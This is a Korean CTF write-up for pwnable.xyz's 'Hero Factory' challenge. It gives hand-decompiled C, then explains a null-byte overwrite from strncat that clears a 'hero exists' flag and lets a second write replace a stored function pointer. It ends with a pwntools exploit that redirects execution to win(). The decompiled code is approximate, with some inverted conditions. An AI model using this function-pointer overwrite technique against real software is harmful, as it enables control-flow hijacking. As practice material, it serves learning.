🗂️ INDEX

글 작성자: Universe7202

pwnable.xyz 33번째 문제이다.

 

 


Analyze

 

해당 바이너리에서 사용자 정의 함수들을 보면 아래와 같다. 

 

ubuntu:~/environment/ctf/pwnable.xyz/33_Hero Factory $ func challenge 
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
createHero
crossfit
deleteHero
floss
getInt
hadouken
handler
main
printFnc
printHero
printMenu
printSuperPowers
setup
usePower
win
wrestle
zeroHero

 

 

 

gdb로 바이너리를 분석하여 c코드로 나타내면 아래와 같다. (분석 환경이 gdb 밖에 없는 내 자신이 대단..)

void printMenu(){
    puts("\nWelcome to the Hero Factory");
    puts("==============================");
    puts("1. create a superhero");
    puts("2. use a superpower");
    puts("3. destroy a superhero");
    puts("4. exit");
    printf("> ");
}

void printSuperPowers(){
    printf("\nAvailable Superpowers\n===========\n1. hadouken\n2. crossfit\n3. wrestling\n4. flossing\n> ")
}

void printHero(){
    puts("Your Hero: ");
    puts("==============");
    printf("name: %s\n", myHero+20);
    printf("power: %s\n", myHero);
}

void hadouken(){
    puts("HADDOUUUKKEENN!!!!");
}

void crossfit(){
    puts("*kips*");
    sleep(1);
    puts("Yikes. Your grip slipped while doing a kipping pullup and you fell on your back and cracked your neck.");
    exit(1);
}

void wrestle(){
    puts("*grapples*");
    sleep(1);
    puts("I'm sorry, sir. You sprained your MCL while wrassling.");
    exit(1);
}

void floss(){
    puts("*flosses*");
    sleep(1);
    puts("0ops. You broke your hip while flossing.");
    exit(1);
}

void printFnc(rdi){
    puts("Note: ");
    puts(rdi);
}

int getInt(){
    read(0, rbp-0x20, 0xa);
    return atoi(rbp-0x20);
}

void zeroHero(){
    memset(myHero, 0, 0x14);
    memset(myHero+20, 0, 0x64);
    myHero+120 -= 1;
}

void createHero(){
    int tmp_1 = 0;  // rbp-0x7c
    long tmp_2 = 0; // rbp-0x78
    
    if(myHero+120){
        puts("Br0, you already have a hero...");
        return;
    }
    myHero+120++;
    puts("How long do you want your superhero's name to be? ");
    tmp_1 = getInt();
    
    if(tmp_1 < 0 && tmp_1 > 0x64){
        puts("Bad size!");
        return;
    }
    printf("Great! Please enter your hero's name: ");
    read(0, rbp-0x70, tmp_1);
    char *p = strchr(myHero+20, 0);
    
    strncat(*p, rbp-0x70, 0x64);
    
    printSuperPowers();
    int select = getInt();
    
    if(select == 1){
        myHero+128 = &hadouken();
        myHero = 0x6e656b756f646168;
        myHero+8 = 0;
    }
    else if(select == 2){
        myHero+128 = &crossfit();
        myHero = 0x74696673736f7263;
        myHero+8 = 0;
    }
    else if(select == 3){
        myHero+128 = &wrestle();
        myHero = 0x6e696c7473657277;
        myHero+8 = 0;
    }
    else if(select == 4){
        myHero+128 = &floss();
        myHero = 0x676e6973736f6c66;
        myHero+8 = 0;
    }
    else{
        puts("not a valid power!");
        if(myHero+120)
            zeroHero();
        return;
    }
    puts("Superhero successfully created!");
    return;
}

void usePower(){
    if(myHero+120){
        puts("Your hero uses his ability...");
        (myHero+128)();
    }
    else
        puts("You don't even have a hero right now....");
}

void deleteHero(){
    if(myHero+120){
        printHero();
        printf("\nAre you sure you want to destroy your hero? (y/n) ");
        char select = getchar();
        
        if(select == 'y' && select == 'Y'){
            zeroHero();
            puts("Hero successfully destroyed!");
        }
        else
            puts("Stop wasting my time.");
    }
}

int main(){
    int select = getInt();
    
    if(select == 1)
        createHero();
    else if(select == 2)
        usePower();
    else if(select == 3)
        deleteHero();
    else if(select == 4){
        puts("goodbye!");
        exit(1);
    }
    else
        puts("not a valid command!\n");
}

 

 

myHero 라는 변수가 존재하는데 이 변수의 메모리 구조는 아래와 같다.

노란색: 사용자가 입력 가능한 부분

파란색: (무시)

빨간색: 1 또는 0 값을 가짐 => Hero 등록 여부 확인용

초록색: 함수의 주소가 저장

myHero 메모리 구조

 

 

createHero() 함수에서, 사용자는 0 부터 0x64까지 숫자를 입력해 이름을 입력할 수 있다.

입력한 문자는 스택에 저장되고 myHero+20 에 저장된다.

 /* createHero() 일부분... */

 myHero+120++;
 
 puts("How long do you want your superhero's name to be? ");
 tmp_1 = getInt();
    
 if(tmp_1 < 0 && tmp_1 > 0x64){
     puts("Bad size!");
     return;
 }
 printf("Great! Please enter your hero's name: ");
 read(0, rbp-0x70, tmp_1);
 char *p = strchr(myHero+20, 0);
 
 strncat(*p, rbp-0x70, 0x64);

 

위 코드에서 문제가 발생하게 되는데.

> myHero+120 에 1을 삽입

> 사용자가 0x64 만큼 이름을 입력

> strncat() 함수로 myHero에 이름이 입력 및 문자열 끝에 \x00 을 붙임.

> 이때 \x00 을 삽입하는 곳은 myHero+120.

> 따라서 myHero+120 = 0  이 되어, 추가적으로 더 입력을 할 수 있음.

> 즉, myHero+128 의 값을 변조 할 수 있음.

 

위 같은 시나리오로 myHero+128에 win() 함수의 주소를 넣은 뒤, 이를 호출 하면 된다.

 

 

 

 

 


Payload

from pwn import *

p = remote("svc.pwnable.xyz", "30032")

win = 0x400a33
p.sendlineafter("> ", "1")
p.sendlineafter("be?", "100")
p.sendafter("name: ", "A"*100)
p.sendlineafter("> ", "1")

p.sendlineafter("> ", "1")
p.sendlineafter("be?", "100")
p.sendafter("name: ", "A"*7 + p64(win))
p.sendlineafter("> ", "5")

p.sendlineafter("> ", "2")
p.interactive()